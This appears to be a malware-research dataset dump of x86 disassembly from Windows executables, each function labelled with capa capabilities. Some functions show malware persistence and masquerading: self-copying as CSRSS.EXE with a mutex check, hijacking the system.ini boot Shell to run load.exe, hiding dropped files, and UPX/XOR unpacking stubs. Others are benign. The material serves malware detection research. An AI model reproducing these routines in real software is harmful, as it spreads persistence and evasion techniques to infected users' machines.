joyce8/EMBER2024-capa huggingface dataset:
Function at 0x37376b39
Capabilities:
Accept command line arguments
Check mutex on windows
Copy file
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x854
push esi
push edi
push dword [ebp + 8]
call fcn.37376a75
cmp eax, 0x63
pop ecx
jne 0x37376c5f
xor esi, esi
push str.efqpm2300dfhroop
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x37376b87
cmp edi, esi
je 0x37376b7f
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
jmp 0x37376ca1
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, 0x400
lea eax, [ebp - 0x854]
push edi
push eax
push dword [ebp + 8]
call ebx
test eax, eax
jne 0x37376bb6
lea eax, [ebp - 0x854]
push edi
push eax
push esi
call ebx
lea eax, [ebp - 0x454]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x454]
push eax
call fcn.3737186e
lea eax, [ebp - 0x454]
mov dword [esp], str.CSRSS.EXE
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x454]
pop ecx
push esi
push eax
lea eax, [ebp - 0x854]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x454]
push 1
push eax
call fcn.373719a3
lea eax, [ebp - 0x454]
push str.__bindes39qp
push eax
call sub.MSVCRT.dll_strcat
push 0x44
lea eax, [ebp - 0x54]
pop edi
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x10]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x28
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], edi
mov word [ebp - 0x24], si
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x454]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 1
pop eax
pop ebx
jmp 0x37376ca1
push 0x400
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [ebp - 0x854]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
lea eax, [ebp - 0x854]
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
lea eax, [ebp - 0x854]
push str.bindes39qp
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0x18
neg eax
sbb eax, eax
and eax, 0x63
pop edi
pop esi
leave
ret
Function at 0x37376ca5
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
mov esi, dword [sym.imp.MSVCRT.dll_strncpy]
mov ebx, 0x3f6
push edi
push ebx
lea eax, [ebp - 0x400]
push 0x3737ad18
push eax
call esi
lea eax, [ebp - 0x400]
push str.load.exe
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x14
lea eax, [ebp - 0x400]
push 0
push eax
push 0x3737c118
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x400]
push 0x26
push eax
call edi
push ebx
lea eax, [ebp - 0x400]
push 0x3737b118
push eax
call esi
lea eax, [ebp - 0x400]
push str._system.ini
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x14
lea eax, [ebp - 0x400]
push eax
push str.explorer.exe_load.exe__dontrunold
push str.Shell
push str.boot
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push ebx
lea eax, [ebp - 0x400]
push 0x3737ad18
push eax
call esi
lea eax, [ebp - 0x400]
push str._riched20.dll
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x14
lea eax, [ebp - 0x400]
push 0x80
push eax
call edi
lea eax, [ebp - 0x400]
push 0
push eax
push 0x3737c118
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x400]
push 0
push eax
call fcn.373719a3
pop ecx
lea eax, [ebp - 0x400]
pop ecx
push 0x26
push eax
call edi
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x37376dab
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
lea eax, [ebp - 0xc]
push edi
or dword [ebp - 4], 0xffffffff
push eax
push dword [ebp + 8]
xor edi, edi
mov dword [ebp - 8], 0x4000
push edi
push edi
push 2
call dword [0x3737ace8]
test eax, eax
je 0x37376ddb
xor eax, eax
jmp 0x37376edf
push ebx
push esi
push dword [ebp - 8]
push 8
push dword [0x3737ad14]
call dword [0x3737acd4]
mov esi, eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x14], esi
call dword [0x3737acec]
cmp eax, edi
mov dword [ebp - 0x18], eax
jne 0x37376e9e
cmp dword [ebp - 4], edi
mov dword [ebp + 8], edi
jbe 0x37376ea5
add esi, 0x14
cmp dword [esi - 0x10], 1
jne 0x37376e78
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x19
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push edi
lea ebx, [esi - 0x14]
push edi
push edi
push ebx
call dword [0x3737ace0]
test eax, eax
jne 0x37376e5f
push dword [esi]
call fcn.37373ddf
pop ecx
push edi
push edi
push dword [esi]
call dword [0x3737ace4]
jmp 0x37376e78
push edi
lea eax, [ebp - 0x34]
push edi
push eax
push ebx
call dword [0x3737ace0]
push dword [esi]
test eax, eax
je 0x37376e4d
call fcn.37373ddf
pop ecx
mov eax, dword [esi - 8]
and eax, 2
cmp al, 2
jne 0x37376e8b
lea eax, [esi - 0x14]
push eax
call fcn.37376dab
inc dword [ebp + 8]
add esi, 0x20
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 4]
jb 0x37376e1f
mov esi, dword [ebp - 0x14]
jmp 0x37376ea5
cmp eax, 0x103
jne 0x37376ec1
push esi
push edi
push dword [0x3737ad14]
call dword [0x3737acd0]
cmp dword [ebp - 0x18], 0x103
je 0x37376ecf
jmp 0x37376ddd
push esi
push edi
push dword [0x3737ad14]
call dword [0x3737acd0]
push dword [ebp - 0xc]
call dword [0x3737acf0]
neg eax
sbb eax, eax
pop esi
inc eax
pop ebx
pop edi
leave
ret 4

Function at 0x37376f63
Capabilities:
Create thread

Disassembly:
push ecx
lea eax, [esp]
push eax
xor eax, eax
push eax
push eax
push 0x37376f7f
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 1
pop eax
pop ecx
ret
Function at 0x40569b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40d0f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00404397
and dword [ebp - 0x14], 0
cmp dword [0x40e840], 0
mov dword [ebp - 0x18], eax
jne 0x40574e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4057f6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4057f6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40e840], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40e844], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40e848], eax
call edi
push eax
call esi
mov dword [0x40e850], eax
test eax, eax
je 0x40574e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40e84c], eax
mov eax, dword [0x40e84c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4057a7
cmp dword [0x40e850], ecx
je 0x4057a7
push eax
call esi
push dword [0x40e850]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4057a7
test ebx, ebx
je 0x4057a7
call edi
test eax, eax
je 0x40579e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40579e
test byte [ebp - 8], 1
jne 0x4057a7
or dword [ebp + 0x10], 0x200000
jmp 0x4057da
mov eax, dword [0x40e844]
cmp eax, dword [ebp - 0x18]
je 0x4057da
push eax
call esi
test eax, eax
je 0x4057da
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4057da
mov eax, dword [0x40e848]
cmp eax, dword [ebp - 0x18]
je 0x4057da
push eax
call esi
test eax, eax
je 0x4057da
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40e840]
call esi
test eax, eax
je 0x4057f6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4057f8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405a06
leave
ret

Function at 0x405a06
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40d0f0]
jne 0x405a10
repz ret
jmp fcn.00406d43

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x5f12090e
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..rdata
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x4f861f7e
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x523a60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xd7000]
push edi
or ebp, 0xffffffff
jmp 0x523a82
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x523a89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x523a78
mov eax, 1
add ebx, ebx
jne 0x523a9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x523aac
jne 0x523acb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x523acb
dec eax
add ebx, ebx
jne 0x523ab8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x523a90
add ebx, ebx
jne 0x523ac7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x523b1d
xor ecx, ecx
sub eax, 3
jb 0x523ae3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x523b52
sar eax, 1
mov ebp, eax
jmp 0x523aee
add ebx, ebx
jne 0x523aee
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x523abc
inc ecx
add ebx, ebx
jne 0x523afc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x523abc
add ebx, ebx
jne 0x523b09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x523afe
jne 0x523b1a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x523afe
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x523b3c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x523b2e
jmp 0x523a7e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x523b3c
add edi, ecx
jmp 0x523a7e
pop esi
mov edi, esi
mov ecx, 0x2d8c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x523b5a
cmp byte [edi], 0x11
jne 0x523b5a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x523b5f
lea edi, [esi + 0x11d000]
mov eax, dword [edi]
or eax, eax
je 0x523bce
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x14c860]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x14c924]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x523b8c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x14c92c]
or eax, eax
je 0x523bc8
mov dword [ebx], eax
add ebx, 4
jmp 0x523ba9
call dword [esi + 0x14c928]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x523bff
cmp al, 0xef
ja 0x523bf2
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x523bd4
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x523be1
mov ebp, dword [esi + 0x14c930]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x523c33
sub esp, 0xffffff80
jmp 0x42ce25
Function at 0x40110e
Capabilities:
Parse pe header

Disassembly:
jmp 0x40602c
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40606c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40606c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40606c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40606c
cmp dword [ecx + 0x74], 0xe
jbe 0x40606c
cmp dword [ecx + 0xe8], 0
je 0x40606c
mov al, 1
ret
xor al, al
ret

Function at 0x4011cc
Capabilities:
Terminate process

Disassembly:
jmp 0x405467
push 0x14
push 0x40b0a8
call fcn.004010b9
push 1
call fcn.004010b4
pop ecx
test al, al
je 0x40537f
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.004011f4
mov byte [ebp - 0x24], al
mov eax, dword [0x40c4fc]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x40537f
test eax, eax
jne 0x40529d
mov dword [0x40c4fc], ecx
push 0x408618
push 0x40830c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x405280
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x40536f
push 0x408208
push section..rdata
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x40c4fc], 2
jmp 0x4052a2
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.0040105a
pop ecx
call fcn.004010f5
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x4052d3
push esi
call fcn.00401109
pop ecx
test al, al
je 0x4052d3
mov esi, dword [esi]
push edi
push 2
push edi
mov ecx, esi
call dword [section..00cfg]
call esi
call fcn.00401159
mov esi, eax
cmp dword [esi], edi
je 0x4052f1
push esi
call fcn.00401109
pop ecx
test al, al
je 0x4052f1
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argv
mov edi, dword [eax]
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argc
mov esi, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_initial_narrow_environment
push eax
push edi
push dword [esi]
call fcn.00401186
add esp, 0xc
mov esi, eax
call fcn.0040110e
test al, al
je 0x405386
test bl, bl
jne 0x405324
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push 0
push 1
call fcn.0040115e
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x40536f
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
push 7
call fcn.004011a4
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
push dword [ebp - 0x20]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__exit
int3
call fcn.0040119a
jmp 0x405213
Function at 0x404b70
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
call dword [sym.imp.ortp.dll_payload_type_new]
mov esi, dword [ebp + 8]
mov edi, eax
push str.audio
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
jne 0x404b9a
mov eax, 1
jmp 0x404bb2
push str.video
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
jne 0x404bdf
mov eax, 2
push dword [ebp + 0xc]
mov dword [edi], eax
call dword [sym.imp.ortp.dll_ortp_strdup]
push dword [ebp + 0x10]
mov esi, dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov dword [edi + 0x18], eax
call esi
push dword [ebp + 0x14]
mov dword [edi + 4], eax
call esi
add esp, 0xc
mov dword [edi + 0x1c], eax
mov eax, edi
pop edi
pop esi
pop ebp
ret
push esi
push str.Unsupported_payload_type_should_be_audio_or_video__not__s_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.004010ff
add esp, 0xc
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x40aabf
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestSplayTree.exe_gMozillaPoisonSize], eax
call fcn.0040852e
pop ecx
mov ecx, dword [sym.TestSplayTree.exe_gMozillaPoisonSize]
mov dword [sym.TestSplayTree.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x40aaf7
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestSplayTree.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret

Function at 0x419760
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40f015
lea edi, [esi - 0xe015]
push edi
or ebp, 0xffffffff
jmp 0x419782
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419789
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419778
nop
push 1
nop
pop eax
add ebx, ebx
jne 0x41979b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419790
jne 0x4197ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419790
sub ecx, ecx
sub eax, 3
jb 0x4197c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419832
mov ebp, eax
add ebx, ebx
jne 0x4197cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4197d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4197fc
inc ecx
add ebx, ebx
jne 0x4197e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4197dd
jne 0x4197f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4197dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41981c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41980d
jmp 0x41977e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41981c
add edi, ecx
jmp 0x41977e
pop esi
push esi
pop edi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41983a
cmp byte [edi], 5
jne 0x41983a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41983f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x4198b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41986c
push edi
pop ecx
jns 0x41989b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x4198b1
mov dword [ebx], eax
add ebx, 4
jmp 0x419889
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4198eb
sub esp, 0xffffff80
jmp 0x404c20
Function at 0x401da0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4043bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
mov dword [esi], 0x4055f8
mov eax, dword [esi + 0x30]
xor ebp, ebp
cmp eax, ebp
mov dword [esp + 0x1c], 1
je 0x401e30
mov edx, dword [esi + 0x24]
mov eax, dword [esi + 0x2c]
mov edi, dword [esi + 0x20]
mov ecx, edx
push ebx
sub eax, ecx
mov ecx, dword [esi + 0x28]
mov ebx, edi
sub ecx, ebx
mov ebx, dword [esi + 0x1c]
cmp esi, ebp
je 0x401df7
mov ebp, dword [esi + 4]
push 0xcc0020
push edx
push edi
push ebp
push eax
mov eax, dword [ebx + 4]
push ecx
push edx
push edi
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esi + 0x18]
pop ebx
test eax, eax
jne 0x401e21
mov ecx, dword [esi + 4]
push eax
push ecx
call sub.MFC42.DLL_CDC::SelectGdiObject
jmp 0x401e36
mov eax, dword [eax + 4]
mov ecx, dword [esi + 4]
push eax
push ecx
call sub.MFC42.DLL_CDC::SelectGdiObject
jmp 0x401e36
mov dword [esi + 8], ebp
mov dword [esi + 4], ebp
lea edi, [esi + 0x10]
mov dword [esp + 0x10], edi
mov dword [edi], 0x4055e4
mov ecx, edi
mov byte [esp + 0x1c], 2
call sub.MFC42.DLL_CGdiObject::DeleteObject
mov ecx, esi
mov dword [edi], 0x4055d0
mov dword [esp + 0x1c], 0xffffffff
call fcn.00403e42
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x403170
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x18]
mov esi, dword [esp + 0x60]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0
push esi
mov dword [esp + 0x40], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [esp + 0x64]
test eax, eax
jne 0x4031cc
mov edx, dword [esp + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.MSVCRT.dll__unlink]
add esp, 4
pop edi
pop esi
add esp, 0x54
ret 8
Function at 0x409300
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x47d77b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0047268e
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x409382
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004705a0
mov eax, dword [eax]
push 0xa4ac70
push eax
call fcn.00463294
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00472919
test bl, bl
je 0x409382
push 0xa4ac70
lea ecx, [esp + 0xc]
call fcn.00472ca9
push 0xa4ac7c
lea ecx, [esp + 0xc]
call fcn.00472ca9
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4093be
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00472919
jmp 0x409489
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x409442
lea edx, [esp + 0x7c]
push 0xa4ac78
push edx
call fcn.00463294
add esp, 8
test eax, eax
je 0x409442
lea eax, [esp + 0x7c]
push 0xa4ac74
push eax
call fcn.00463294
add esp, 8
test eax, eax
je 0x409442
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4093d2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00472919
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x409c90
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x409cf2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc